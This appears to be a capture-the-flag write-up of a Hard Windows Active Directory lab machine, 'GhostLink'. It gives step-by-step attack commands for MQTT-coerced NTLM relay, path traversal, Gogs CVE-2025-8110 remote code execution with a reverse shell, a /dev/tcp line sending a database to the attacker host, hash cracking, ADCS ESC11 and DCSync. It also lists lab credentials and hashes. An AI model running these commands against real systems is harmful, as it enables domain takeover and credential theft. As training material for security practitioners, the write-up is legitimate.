Writeup

GhostLink Machine

Full Active Directory compromise through MQTT enumeration, NTLM relay, path traversal, Gogs RCE (CVE-2025-8110), and ADCS ESC11 exploitation

Windows Hard August 2026 AD + 6 hours GitHub

About Target

Target Information:
Target: 10.129.10.116
Domain: ghostlink.htb
Domain Controller: dc01.ghostlink.htb
Server Time: 2026-07-30 08:57:47Z

Ghostlink is a Hard difficulty Windows machine featuring an Active Directory domain controller and a web server. Enumeration reveals a critical MQTT service used for node tracking, which exposes two internal hosts: a secure file sharing app and a Gogs code host.

The attacker modifies the MQTT health check to trigger NTLM authentication, relaying credentials to authenticate as the svc_canary service account. Using this authentication, the attacker exploits a double URL-encoded path traversal vulnerability to exfiltrate the service account's ntuser.dat file.

Analysis of the registry hive reveals a recent document for db.zip, containing KeePass credentials for the Gogs application. These credentials are then leveraged to exploit an RCE vulnerability CVE-2025-8110 in Gogs to obtain a foothold.

Once on the system, the attacker cracks a Gogs hash to log in as the local user nvirelli. Finally, the ESC11 vulnerability in ADCS allows the attacker to request a Domain Controller certificate and compromise the domain.

Attack Phases

  1. Phase 1 Reconnaissance - Nmap scan, service identification, host/domain discovery
  2. Phase 2 Enumeration - MQTT analysis, web application enumeration, version identification
  3. Phase 3 Initial Access - NTLM relay, path traversal, credential extraction
  4. Phase 4 Foothold - Gogs CVE-2025-8110 exploitation, reverse shell
  5. Phase 5 Lateral Movement - Gogs DB cracking, user switching, user flag
  6. Phase 6 Privilege Escalation - Ligolo-ng tunneling, ADCS ESC11, DCSync, domain compromise

Phase 1: Reconnaissance

Initial Scan

I first performed an initial active reconnaissance using nmap scanning on the target:

$ nmap -vv -Pn -sV -sC -p- 10.129.1.70

The scan identified a Windows host exposing several services commonly associated with an Active Directory environment.

Port Service Version
53DNSSimple DNS Plus
80HTTPMicrosoft IIS 10.0
88KerberosMicrosoft Windows Kerberos
135MSRPCMicrosoft Windows RPC
139NetBIOSMicrosoft NetBIOS
389LDAPActive Directory LDAP
445SMBMicrosoft-DS
464KerberosPassword change
593RPC over HTTPMicrosoft
636LDAPSActive Directory LDAP over SSL
1883MQTTMQTT
2179VM-RDPMicrosoft virtualization-related service
3268Global CatalogLDAP
3269Global CatalogLDAPS
5985WinRMMicrosoft HTTPAPI
9389.NET Message FramingMicrosoft
49664–50962MSRPCDynamic RPC ports
Key Findings:
The presence of Kerberos (88), LDAP/LDAPS (389/636), Global Catalog (3268/3269), SMB (445), and DNS (53) strongly indicates that the target is an Active Directory Domain Controller.

Host: DC01
Domain: ghostlink.htb

The web server on port 80 exposes an IIS 10.0 instance with the title "Ghost Protocol Zero".

MQTT Discovery:
Another interesting finding is the MQTT service on port 1883. Nmap was able to retrieve $SYS broker information without authentication, with the output showing clients connecting with username: "(null)".

This may indicate that the MQTT broker permits unauthenticated connections and is therefore worth investigating further.

SMB signing is reported as enabled and required, which makes common SMB relay attacks less immediately promising.

The next logical phase is enumeration, rather than immediately attempting exploitation. I will investigate DNS, SMB, LDAP/AD, HTTP, and MQTT, with particular attention to information disclosure and possible unauthenticated access.

Phase 2: Enumeration

During the Reconnaissance phase, I noticed that the target exposed several services commonly associated with a Windows Active Directory environment, including Kerberos on port 88, LDAP on ports 389/636, SMB on port 445, Global Catalog LDAP on ports 3268/3269, and WinRM on port 5985.

More importantly, I noticed that the target exposed the MQTT protocol on port 1883. MQTT (Message Queuing Telemetry Transport) is a lightweight messaging protocol commonly used in IoT (Internet of Things) environments.

MQTT Enumeration

I installed and executed mqttui to enumerate the MQTT broker:

$ sudo apt update && sudo apt upgrade -y && sudo apt install cargo
$ cargo install --git https://github.com/EdJoPaTo/mqttui.git

$ mqttui -b mqtt://ghostlink.htb
MQTT Enumeration 1
MQTT Enumeration 2
MQTT Enumeration 3
$ mqttui -b mqtt://ghostlink.htb -r
MQTT Enumeration 4
MQTT Enumeration 5

By enumerating the available MQTT topics, I found that the broker was tracking nodes within the internal infrastructure. Among the information exposed by these topics were references to internal hosts such as:

gpz-op26-secure.ghostlink.htb
gpz-op26-toolkits.ghostlink.htb

I added these to my /etc/hosts file and navigated to the discovered hosts. The first host presented a secure file sharing application, while the second hosted a Gogs instance - a self-hosted Git service.

Secure File Sharing App
Gogs Instance

Gogs Version Identification

Through analysis of the Gogs instance at http://gpz-op26-toolkits.ghostlink.htb, I located a commit hash within the JavaScript source:

5084b4a9b77a506f5e287e82e945e1c6882b827a
Gogs JS Hash

I navigated to the corresponding commit in the official Gogs repository and identified the version as 0.13.3. Searching for vulnerabilities in this version yielded CVE-2025-8110, an authenticated remote code execution vulnerability.

Gogs Commits
Gogs Commit Details
CVE Searching
CVE-2025-8110:
Authenticated Remote Code Execution vulnerability in Gogs version 0.13.3.

References:
CVE Record · NIST NVD · Exploit PoC · Wiz Research

Phase 3: Initial Access

Health-Check URL Manipulation

Since I did not have valid credentials for the Gogs application yet, I temporarily put the Gogs RCE aside and returned to the MQTT service for further enumeration.

I inspected the secureshare/healthcheck topic and found that the health-check contained the following URL:

gpz-op26-secure.ghostlink.htb/healthcheck

I noticed that the URL field was user-controllable through MQTT. I then modified the health-check URL to point to my Responder listener:

{
    "timestamp": "2026-17-08-15:56:39",
    "node": "node-6",
    "telemetry": {
        "healthy": true,
        "url": "http://10.10.14.149",
        "lastCheckSecAgo": 3,
        "responseCode": "200",
        "ip": "172.16.20.10"
    }
}
MQTT JSON Values
Modified MQTT Value

I published the modified message back to the same MQTT topic while running Responder:

MQTT Publish

After the health-check was triggered, I received an HTTP connection from the internal host. The service attempted to authenticate to my listener using NTLM, revealing the account:

ghostlink\svc_canary
Responder Capture
NTLM Capture

This confirmed that I could coerce the svc_canary service account into performing an NTLM authentication request to a host under my control.

NTLM Relay

Since the svc_canary NTLMv2 hash was not crackable with the available wordlist, I decided to use an NTLM relay instead.

I configured ntlmrelayx to listen on port 7373, relay the authentication to gpz-op26-secure.ghostlink.htb, and expose the successful relay through a SOCKS proxy:

New Value Port
NTLMRelayx 1
NTLMRelayx 2
NTLMRelayx 3
Relay Command:
ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb -socks -smb2support

The GHOSTLINK/SVC_CANARY connection to gpz-op26-secure.ghostlink.htb was listed, allowing me to access the application through the authenticated relay session.

Path Traversal Vulnerability

With authenticated access, I discovered a double URL-encoded path traversal vulnerability in the /api/download/ endpoint.

Test Request:

/api/download/C:%252fWindows%252fSystem32%252fdrivers%252fetc%252fhosts

Extracting NTUSER.DAT

I downloaded the service account's registry hive:

$ proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fNTUSER.DAT --output NTUSER.DAT

Using ntuser_parser.py, I discovered a recent document reference to db.zip:

$ python3 ntuser_parser.py --hive NTUSER.DAT

Finding db.zip Location

The .lnk file revealed the complete path:

$ proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fAppData%252fRoaming%252fMicrosoft%252fWindows%252fRecent%252fdb.zip.lnk --output db.zip.lnk
LnkParse3 Output:
Local base path: C:\Users\svc_canary\Documents\Operations\Management\db.zip

Retrieving and Opening db.zip

$ proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fDocuments%252fOperations%252fManagement%252fdb.zip --output db.zip
$ unzip db.zip
Contents:
db.kdbx - KeePass database
.key.keyx - Key file

Opening with KeePassXC revealed credentials:

Credentials Found:
vroth:mOo03jpsqx8JQYMBwvFP

Phase 4: Foothold

Gogs CVE-2025-8110 Exploitation

With vroth credentials, I exploited the authenticated RCE vulnerability in Gogs:

$ python3 cve-2025-8110.py --url http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.14.149 -lp 9001 -U vroth -P mOo03jpsqx8JQYMBwvFP

Exploit Chain

  1. Authenticated as vroth
  2. Created malicious repository
  3. Pushed symlink to .git/config
  4. Overwrote config via API
  5. Injected reverse shell
Foothold Gained!
Received shell as git user

Phase 5: Lateral Movement

Cracking Gogs Database

I exfiltrated the Gogs database:

$ cat /opt/gogs/data/gogs.db > /dev/tcp/10.10.14.149/9999

Extracted and cracked hashes:

$ sqlite3 gogs.db "SELECT name,passwd,salt FROM user;" | python3 gitea2john.py > hashes
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Discovered Credentials:
nvirelli:u47YUclrDiwWxBheaSzI

Switching Users

$ su nvirelli
Lateral Movement
User Flag Obtained!
User Flag

Phase 6: Privilege Escalation

ADCS ESC11 Exploitation

Certificate Authority Enumeration

$ certipy find -u nvirelli -p u47YUclrDiwWxBheaSzI -dc-ip 10.129.238.246 -stdout -vulnerable
Key Finding:
ESC11: Encryption not enforced for ICPR requests

Coercing Authentication

$ coercer coerce -u nvirelli -p u47YUclrDiwWxBheaSzI -d ghostlink.htb --dc-ip 10.129.238.246 -t 10.129.238.246 -l 10.10.14.149

NTLM Relay to Certificate Service

$ ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -icpr-ca-name ghostlink-GPZ-OP26-SECURE-CA --template DomainController
Success!
Obtained Domain Controller certificate DC01.pfx

Compromising Domain Controller

Extract NThash

$ certipy auth -pfx DC01.pfx -dc-ip 10.129.238.246 -username DC01$ -domain ghostlink.htb
DC01 NThash:
f09e86e9b9c7e94f2fabaa9e31757e50

DCSync Attack

$ secretsdump.py ghostlink.htb/DC01$@dc01.ghostlink.htb -hashes :f09e86e9b9c7e94f2fabaa9e31757e50 -just-dc-user Administrator
Administrator NThash:
8190e067f478002ddd63eb209b016696

Get Administrator Shell

$ python3 winrmexec.py ghostlink.htb/Administrator@DC01.ghostlink.htb -hashes :8190e067f478002ddd63eb209b016696
Root Access 1
Root Access
Root Flag Obtained!
Full domain compromise achieved

Attack Chain Summary

Phase Technique Result
1. Recon Nmap scan Discovered MQTT service on port 1883
2. Enumeration MQTT enumeration Exposed internal hosts and health-check topics
3. NTLM Relay Health-check manipulation Captured svc_canary NTLM
4. Auth Bypass NTLM relay to secure share Authenticated access to file sharing
5. Path Traversal Double-encoded path traversal Exfiltrated NTUSER.DAT
6. Credential Extraction Registry hive analysis Found db.zip via .lnk file
7. KeePass db.kdbx + .key.keyx Extracted vroth credentials
8. Initial Access Gogs CVE-2025-8110 RCE Shell as git user
9. Lateral Movement Gogs DB cracking Found nvirelli password
10. Privilege Escalation ADCS ESC11 Obtained DC01 certificate
11. Domain Compromise DCSync attack Administrator NThash
Disclaimer: All activities in this writeup were conducted within a fully authorized, isolated laboratory environment These techniques are presented solely for educational and defensive security purposes